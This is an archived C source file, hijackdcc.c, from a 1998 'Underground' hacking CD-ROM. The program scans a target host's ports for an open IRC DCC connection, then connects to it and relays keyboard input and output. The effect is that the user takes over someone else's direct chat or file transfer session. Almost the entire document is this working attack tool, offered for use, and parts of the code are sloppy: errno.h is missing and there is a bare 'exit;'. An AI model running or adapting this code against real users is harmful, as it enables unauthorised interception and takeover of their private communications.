home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / hack / PDFAQ.ZIP / hijackdcc.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-03-08  |  3.2 KB  |  143 lines
  1. // hijackdcc.c - by Permission Denied
  2. // fast port scanner with interactive line
  3.  
  4. #include <stdio.h>
  5. #include <netinet/in.h>
  6. #include <sys/socket.h>
  7. #include <stdlib.h>
  8. #include <netdb.h>
  9. #include <sys/time.h>
  10. #include <fcntl.h>
  11. #include <sys/ioctl.h>
  12.  
  13. #define LO_PORT 1025
  14. #define N_PORT 10000
  15. #define SL 250
  16.  
  17. struct sockaddr_in sind;
  18. int socks[SL];
  19. int LOW_PORT;
  20. int NR_PORT;
  21. int COUNT;
  22. unsigned int ports[SL], counts[SL];
  23. int sock;
  24. unsigned int port;
  25.  
  26. unsigned int scan()
  27. {
  28.  int opt;
  29.  int fre;
  30.  int s, cc;
  31.  
  32.  fre = SL; s = 0;
  33.  while(1) {
  34.   if(s == SL) s = 0;
  35.   if(ports[s] == 0xffff) {
  36.    s++;
  37.    continue;
  38.   }
  39.   if(ports[s] == 0)
  40.    ports[s] = LOW_PORT + s;
  41.   port = ports[s];
  42.   if(socks[s] == 0) {
  43.    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP))<0) {
  44.     printf("No free socket\n");exit;
  45.     }
  46.    setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt));
  47.    opt = O_NONBLOCK | fcntl(sock, F_GETFL);
  48.    fcntl(sock, F_SETFL, opt);
  49.    socks[s] = sock;
  50.   } else
  51.    sock = socks[s];
  52.   sind.sin_port = htons(port);
  53.   if((cc = connect(sock, (struct sockaddr *) &sind, sizeof(sind))) == 0) break;
  54.   if(errno != EINPROGRESS && errno != EALREADY) {
  55. //   printf("%d:%d:%d closed %d\n", s, counts[s], port, errno);
  56.    close(sock); socks[s] = 0;
  57.    if((ports[s] += SL) > LOW_PORT + NR_PORT) {
  58.     if(++counts[s] == COUNT) {
  59.      ports[s] = 0xffff;
  60.      fre--;if(fre == 0) {
  61.       printf("Cannot find opened DCC Connection\n"); exit(0);
  62.      }
  63.     } else ports[s] = LOW_PORT + s;
  64.    }
  65.   }
  66.   s++;
  67.  }
  68.  printf("Find opened port at %d\n", port);
  69.  
  70. }
  71.  
  72. main(int argc, char **argv)
  73. {
  74.  struct hostent *fhe;
  75.  fd_set arfds, awfds, rfds, wfds;
  76.  char line[1000];
  77.  int cc;
  78.   
  79.  LOW_PORT = LO_PORT;
  80.  NR_PORT = N_PORT;
  81.  COUNT = 1;
  82.  if(argc<2 || argc>5) {
  83.   printf("HiJackDCC by Maxiu\nUsage:\n %s <host> [<port>] [<counter>] [<nr_ports>]\n", argv[0]);return;
  84.  }
  85.  if(argc>2) LOW_PORT = atoi(argv[2]);
  86.  if(argc>3) COUNT = atoi(argv[3]);
  87.  if(argc>4) NR_PORT = atoi(argv[4]);
  88.  for(cc = 0;cc < SL; cc++)
  89.   ports[cc] = socks[cc] = counts[cc] = 0;
  90.  bzero((char *) &sind, sizeof(sind));
  91.  sind.sin_family = AF_INET;
  92.  if (fhe = gethostbyname (argv[1]))
  93.   bcopy(fhe -> h_addr, (char *) &sind.sin_addr, fhe -> h_length);
  94.   else {
  95.    printf("No host\n");return;
  96.   }
  97.  scan();
  98.  FD_ZERO(&awfds);
  99.  FD_ZERO(&arfds);
  100.  FD_SET(sock, &arfds);
  101.  FD_SET(0, &arfds);
  102.  while (1) {
  103.   bcopy((char *)&arfds, (char *)&rfds, sizeof(rfds));
  104.   bcopy((char *)&awfds, (char *)&wfds, sizeof(rfds));
  105.   
  106.   if(select(getdtablesize(), &rfds, &wfds, (fd_set *) 0, (struct timeval *) 0) <0) {
  107.    if (errno == EINTR) continue;
  108.    printf("Connecion closed\n");
  109.    break;
  110.   }
  111.   if (FD_ISSET(sock, &rfds)) {
  112.    cc = read(sock, (char *) line, 1000);
  113.    if(cc < 0) {
  114.     printf("socket read error: %d\n", errno);
  115.     return;
  116.    }
  117.    else if (cc == 0) {
  118.     printf("\nConnection closed\n");
  119.     break;
  120.    }
  121.    else
  122.    {
  123.     line[cc]='\0';
  124.     fputs(line, stdout);
  125.    }
  126.   }
  127.   if(FD_ISSET(0, &rfds)) {
  128.    cc = read(0, (char *) line, 1000);
  129.    if (cc<0) {
  130.     printf("stdin read error: %d\n", errno);
  131.     return;
  132.    } else if (cc == 0) {
  133.     printf("\nConnection closed\n");
  134.     break;
  135.    } else
  136.     if(write(sock, line, cc) < 0) {
  137.      printf("socket write error: %d\n", errno);
  138.      return;
  139.     }
  140.    }
  141.  } 
  142.  close(sock);
  143. }